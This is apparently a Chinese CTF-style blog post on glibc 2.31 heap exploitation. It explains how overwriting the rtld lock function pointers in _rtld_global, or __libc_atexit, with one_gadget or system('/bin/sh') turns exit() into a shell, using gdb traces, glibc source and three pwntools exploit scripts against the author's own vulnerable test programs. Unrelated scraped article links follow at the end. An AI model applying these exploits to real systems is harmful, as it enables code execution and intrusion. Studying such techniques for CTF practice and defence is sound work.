exit hook
之前经常改 malloc_hook , realloc_hook,free_hook 为 one_gadget 来 get shell ,最近看到一种利用是改 exit hook(winmt师傅告诉我 其实没有exit hook,它是函数指针)。
改 exit_hook 有两种改法,一个是改为 one_gadget ,一个是改为 system ,再控制参数。
首先来看看 exit 这个函数里面究竟是如何调用的。(由于网上 libc版本多为 2.23 ,2.27我就用 2.31 的 libc 来做了实验)
进入 exit 之后我们发现它调用了 __run_exit_handlers ,我们单步进入 __run_exit_handlers。
1 0x7ffff7e09bc5 <exit+5> pop rax
2 0x7ffff7e09bc6 <exit+6> mov ecx, 1
3 0x7ffff7e09bcb <exit+11> mov edx, 1
4 0x7ffff7e09bd0 <exit+16> lea rsi, [rip + 0x1a1b41] <0x7ffff7fab718>
5 0x7ffff7e09bd7 <exit+23> sub rsp, 8
6 ► 0x7ffff7e09bdb <exit+27> call __run_exit_handlers <__run_exit_handlers>
7 rdi: 0x0
8 rsi: 0x7ffff7fab718 (__exit_funcs) —▸ 0x7ffff7fad980 (initial) ◂— 0x0
9 rdx: 0x1
10 rcx: 0x1
11
12 0x7ffff7e09be0 <on_exit> endbr64
13 0x7ffff7e09be4 <on_exit+4> push r12
14 0x7ffff7e09be6 <on_exit+6> push rbp
15 0x7ffff7e09be7 <on_exit+7> push rbx
16 0x7ffff7e09be8 <on_exit+8> test rdi, rdi
我们发现 __run_exit_handlers 又会调用 _dl_fini 函数,我们再单步进入。
1 0x7ffff7e1ea0a <__run_exit_handlers+218> mov rdi, qword ptr [rax + 0x20]
2 0x7ffff7e1ea0e <__run_exit_handlers+222> mov qword ptr [rax + 0x10], 0
3 0x7ffff7e1ea16 <__run_exit_handlers+230> mov esi, ebp
4 0x7ffff7e1ea18 <__run_exit_handlers+232> ror rdx, 0x11
5 0x7ffff7e1ea1c <__run_exit_handlers+236> xor rdx, qword ptr fs:[0x30]
6 ► 0x7ffff7e1ea25 <__run_exit_handlers+245> call rdx <_dl_fini>
7
8 0x7ffff7e1ea27 <__run_exit_handlers+247> jmp __run_exit_handlers+106 <__run_exit_handlers+106>
看一下 _dl_fini 的源码得知,会调用 rtld_lock_default_lock_recursive 和 rtld_lock_default_unlock_recursive 函数,并且有一个 GL(dl_load_lock) 的传参。
void
_dl_fini (void)
{
/* Lots of fun ahead. We have to call the destructors for all still
loaded objects, in all namespaces. The problem is that the ELF
specification now demands that dependencies between the modules
are taken into account. I.e., the destructor for a module is
called before the ones for any of its dependencies. To make things more complicated, we cannot simply use the reverse
order of the constructors. Since the user might have loaded objects
using `dlopen' there are possibly several other modules with its
dependencies to be taken into account. Therefore we have to start
determining the order of the modules once again from the beginning. */ /* We run the destructors of the main namespaces last. As for the
other namespaces, we pick run the destructors in them in reverse
order of the namespace ID. */
#ifdef SHARED
int do_audit = 0;
again:
#endif
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock)); unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
/* No need to do anything for empty namespaces or those used for
auditing DSOs. */
if (nloaded == 0
#ifdef SHARED
|| GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
)
__rtld_lock_unlock_recursive (GL(dl_load_lock));
rtld_lock_default_lock_recursive 和 rtld_lock_default_unlock_recursive 的定义:
# define __rtld_lock_lock_recursive(NAME) \
GL(dl_rtld_lock_recursive) (&(NAME).mutex) # define __rtld_lock_unlock_recursive(NAME) \
GL(dl_rtld_unlock_recursive) (&(NAME).mutex)
#else
# define __rtld_lock_lock_recursive(NAME) \
__libc_maybe_call (__pthread_mutex_lock, (&(NAME).mutex), 0) # define __rtld_lock_unlock_recursive(NAME) \
__libc_maybe_call (__pthread_mutex_unlock, (&(NAME).mutex), 0)
#endif
进入之后找到调用的两个关键函数 rtld_lock_default_lock_recursive 和 rtld_lock_default_unlock_recursive,并且在调用之前会把某个地址里的值赋给 rdi。
0x7ffff7fe0d7d <_dl_fini+45> lea rbx, [r12 + r12*8]
0x7ffff7fe0d81 <_dl_fini+49> lea rax, [rip + 0x1c2d8] <0x7ffff7ffd060>
0x7ffff7fe0d88 <_dl_fini+56> shl rbx, 4
0x7ffff7fe0d8c <_dl_fini+60> add rbx, rax
0x7ffff7fe0d8f <_dl_fini+63> jmp _dl_fini+106 <_dl_fini+106>
↓
► 0x7ffff7fe0dba <_dl_fini+106> lea rdi, [rip + 0x1cba7] <0x7ffff7ffd968>
0x7ffff7fe0dc1 <_dl_fini+113> call qword ptr [rip + 0x1d1a1] <rtld_lock_default_lock_recursive>
1 pwndbg> x/gx 0x7ffff7ffd968
2 0x7ffff7ffd968 <_rtld_global+2312>: 0x0000000000000000
0x7ffff7fe0ec0 <_dl_fini+368> mov ecx, 1
0x7ffff7fe0ec5 <_dl_fini+373> call _dl_sort_maps <_dl_sort_maps> 0x7ffff7fe0eca <_dl_fini+378> lea rdi, [rip + 0x1ca97] <0x7ffff7ffd968>
0x7ffff7fe0ed1 <_dl_fini+385> call qword ptr [rip + 0x1d099] <rtld_lock_default_unlock_recursive>
那个地址其实是结构体 _rtld_global ,里的一部分 ,存在于_dl_load_lock 里,是 _rtld_global._dl_load_lock.mutex.__size的地址。
1 _dl_load_lock = {
2 mutex = {
3 __data = {
4 __lock = 0,
5 __count = 0,
6 __owner = 0,
7 __nusers = 0,
8 __kind = 1,
9 __spins = 0,
10 __elision = 0,
11 __list = {
12 __prev = 0x0,
13 __next = 0x0
14 }
15 },
16 __size = '\000' <repeats 16 times>, "\001", '\000' <repeats 22 times>,
17 __align = 0
18 }
19 },
由此我们可以想到两个方法来 get shell 一个是改 rtld_lock_default_lock_recursive 或 rtld_lock_default_unlock_recursive 为 one_gadget , 另一个更通用就是改 rtld_lock_default_lock_recursive 和 rtld_lock_default_unlock_recursive 为 system ,并且把 _rtld_global._dl_load_lock.mutex的值改为 /bin/sh\x00。
找到他们相对于 _rtld_global 偏移
_dl_rtld_lock_recursive = 0x7ffff7fd0150 <rtld_lock_default_lock_recursive>,
_dl_rtld_unlock_recursive = 0x7ffff7fd0160 <rtld_lock_default_unlock_recursive>,
0x7ffff7ffdf60 <_rtld_global+3840>: 0x0000000000000000 0x00007ffff7fd0150
0x7ffff7ffdf70 <_rtld_global+3856>: 0x00007ffff7fd0160 0x0000000000000000
0x7ffff7ffd968 <_rtld_global+2312>: 0x0000000000000000
我分别写了两个相应的任意地址写的漏洞程序来测试是否可行。
第一个改为one_gadget,我放了一个任意地址写。
exp: _rtld_global 与的 ld 的偏移不变,而 ld 与 libc 的偏移也不变,故我们把 libc 与 ld 都加载进去。
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug' s = process('./exit_onegadget')
elf = ELF('./exit_onegadget')
libc = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so')
ld = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/ld-2.31.so') printf_addr = int(s.recv(14),16)
libc_base = printf_addr - libc.sym['printf']
#gdb.attach(s)
ld_base = libc_base + 0x1f4000
_rtld_global = ld_base + ld.sym['_rtld_global']
_dl_rtld_lock_recursive = _rtld_global + 0xf08
_dl_rtld_unlock_recursive = _rtld_global + 0xf10
#_dl_rtld_lock_recursive = 0x7ffff7fd0150
#_dl_rtld_unlock_recursive = 0x7ffff7fd0160 onegadget = [0xe6aee,0xe6af1,0xe6af4]
one_gadget = libc_base + onegadget[0]
success('one_gadget=>' + hex(one_gadget)) s.send(p64(_dl_rtld_lock_recursive))
s.send(p64(one_gadget)) s.interactive()
'''
0xe6aee execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL 0xe6af1 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL 0xe6af4 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
第二个改为 system 和 /bin/sh\x00 我放了两个任意地址写。
exp:
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug' s = process('./exit_system')
elf = ELF('./exit_system')
libc = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6')
ld = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/ld-2.31.so') printf_addr = int(s.recv(14),16)
libc_base = printf_addr - libc.sym['printf']
#gdb.attach(s)
ld_base = libc_base + 0x1f4000
_rtld_global = ld_base + ld.sym['_rtld_global']
_dl_rtld_lock_recursive = _rtld_global + 0xf08
_dl_rtld_unlock_recursive = _rtld_global + 0xf10
_dl_load_lock = _rtld_global + 0x908
#_dl_rtld_lock_recursive = 0x7ffff7fd0150
#_dl_rtld_unlock_recursive = 0x7ffff7fd0160 s.send(p64(_dl_rtld_lock_recursive))
s.send(p64(libc_base + libc.sym['system']))
s.send(p64(_dl_load_lock))
s.send(b'/bin/sh\x00') s.interactive()
============================================================================================================================
之后winmt师傅告诉我他发现了一个新的小trick,tql tql(我只是 winmt 的搬运工)
关键源码:
if (run_list_atexit)
RUN_HOOK (__libc_atexit, ()); _exit (status);
void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true);
}
libc_hidden_def (exit)
extern void __run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit)
attribute_hidden __attribute__ ((__noreturn__));
由这两行他说可以改掉 __libc_atexit 来实现 get shell ,实际上经过测试确实可行。
优点是任意地址改时比上面的操作简单,所改函数就在 libc 里,而不是在 ld 里。
缺点是无法加参数,能不能成功取决于栈结构是否匹配 one_gadget。
可以用 one_gadget 的那个程序来试试这种方法。
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug' s = process('./a')
libc = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6') printf_addr = int(s.recv(14),16)
libc_base = printf_addr - libc.sym['printf'] onegadget = [0xe6aee,0xe6af1,0xe6af4]
one_gadget = libc_base + onegadget[0]
success('one_gadget=>' + hex(one_gadget)) s.send(p64(libc_base + 0x1ED608))
s.send(p64(one_gadget)) s.interactive()
提取码:1jsi
exit hook的更多相关文章
- ACE - ACE_Task源码剖析及线程池实现
原文出自http://www.cnblogs.com/binchen-china,禁止转载. 上篇提到用Reactor模式,利用I/O复用,获得Socket数据并且实现I/O层单线程并发,和dispa ...
- 基于TP框架的ThinkCMF,控制器display方法源码分析
昨天在写代码的时候,看见写了无数次的模版渲染方法:$this->display(),突然很想弄清楚它是如何实现的. 今天不忙,就分析了一下. class TestController exten ...
- JNI(5)The Invocation API
调用API允许软件提供商加载Java VM 到任意的本地应用中.供应商可以提供支持Java的应用程序而无需链接Java VM的代码. 概述 下面代码展示了通过调用API如何使用函数.这个例子中C++代 ...
- c++ 跨平台线程同步对象那些事儿——基于 ace
前言 ACE (Adaptive Communication Environment) 是早年间很火的一个 c++ 开源通讯框架,当时 c++ 的库比较少,以至于谈 c++ 网络通讯就绕不开 ACE, ...
- svn Error: post-commit hook failed (exit code 127) with output
Command: Commit Modified: C:\Users\xsdff\Desktop\project\index.html Sending content: C:\Users\xsdff\ ...
- SVN提交时报错:Commit blocked by pre-commit hook (exit code 1) with no output.
可能的原因: 提交代码的SVN命令中,Comment长度短了.参考:http://tortoisesvn.net/docs/nightly/TortoiseSVN_en/tsvn-howto-minl ...
- svn 提交报错post-commit hook failed (exit code 23) with output
svn 提交文件,hook同步更新报权限错误 排查后可能原因是被同步的服务器 selinux 已开启. 查看状态命令:/usr/sbin/sestatus -v #如果SELinux status参 ...
- svnserver hook python
在使用中可能会遇到的错误排除 :1.Error: svn: 解析"D:\www\test"出错,或svn: E020024: Error resolving case of 'D: ...
- 对于System.exit(0)和System.exit(1)的一般理解
public static void exit(int status) 终止当前正在运行的 Java 虚拟机.参数用作状态码:根据惯例,非 0 的状态码表示异常终止. 该方法调用 Runtime 类中 ...
随机推荐
- Linux学习 - 系统命令sudo权限
1 功能 root把超级用执行的命令赋予普通用户执行 2 使用 visudo 或 vim /etc/sudoers 说明: root 用户名 ALL=(ALL) 被管理主机的地址=(可使用的身份) A ...
- C++ default constructor | Built-in types
Predict the output of following program? 1 #include <iostream> 2 using namespace std; 3 4 int ...
- 【C/C++】二维数组的传参的方法/二维字符数组的声明,使用,输入,传参
[问题] 定义了一个子函数,传参的内容是一个二维数组 编译提示错误 因为多维数组作为形参传入时,必须声明除第一位维外的确定值,否则系统无法编译(算不出偏移地址) [二维数组的传参] 方法一:形参为二维 ...
- SQLyog 社区免费版下载
SQLyog 是一个快速而简洁的图形化管理MYSQL数据库的工具,它能够在任何地点有效地管理你的数据库,由业界著名的Webyog公司出品.使用SQLyog可以快速直观地让您从世界的任何角落通过网络来维 ...
- Mysql解决主从慢同步问题
目录 一.简介 为何有延迟 二.观察 三.解决办法 参数 多线程 组提交 一.简介 一般主从复制,有三个线程参与,都是单线程:Binlog Dump(主) ----->IO Thread (从) ...
- 数据恢复binlog2sql
目录 一.原理及其使用 用途 闪回原理简析 binlog 有三种可选的格式: 来实例演习下来实例演习下 二.准备工作 一.原理及其使用 生产上误删数据.误改数据的现象也是时常发生的现象,作为运维这时候 ...
- 利用模块加载回调函数修改PE导入表实现注入
最近整理PE文件相关代码的时候,想到如果能在PE刚刚读进内存的时候再去修改内存PE镜像,那不是比直接对PE文件进行操作隐秘多了么? PE文件在运行时会根据导入表来进行dll库的"动态链接&q ...
- 微前端框架 qiankun 技术分析
我们在single-spa 技术分析 基本实现了一个微前端框架需要具备的各种功能,但是又实现的不够彻底,遗留了很多问题需要解决.虽然官方提供了很多样例和最佳实践,但是总显得过于单薄,总给人一种&quo ...
- 多进程 multiprocessing 模块进程并发Process;Pool ;Queue队列 、threading模块;
multiprocessing 模块中的 Process类提供了跨平台的多进程功能,在windows和linux系统都可以使用. 1.首先要实例化一个类,传入要执行的函数. 实例名 = Process ...
- SpringBoot整合quartz框架启动定时任务报错:the given trigger will never fire.
org.quartz.SchedulerException: Based on configured schedule, the given trigger 'DEFAULT.cron_b1a91e1 ...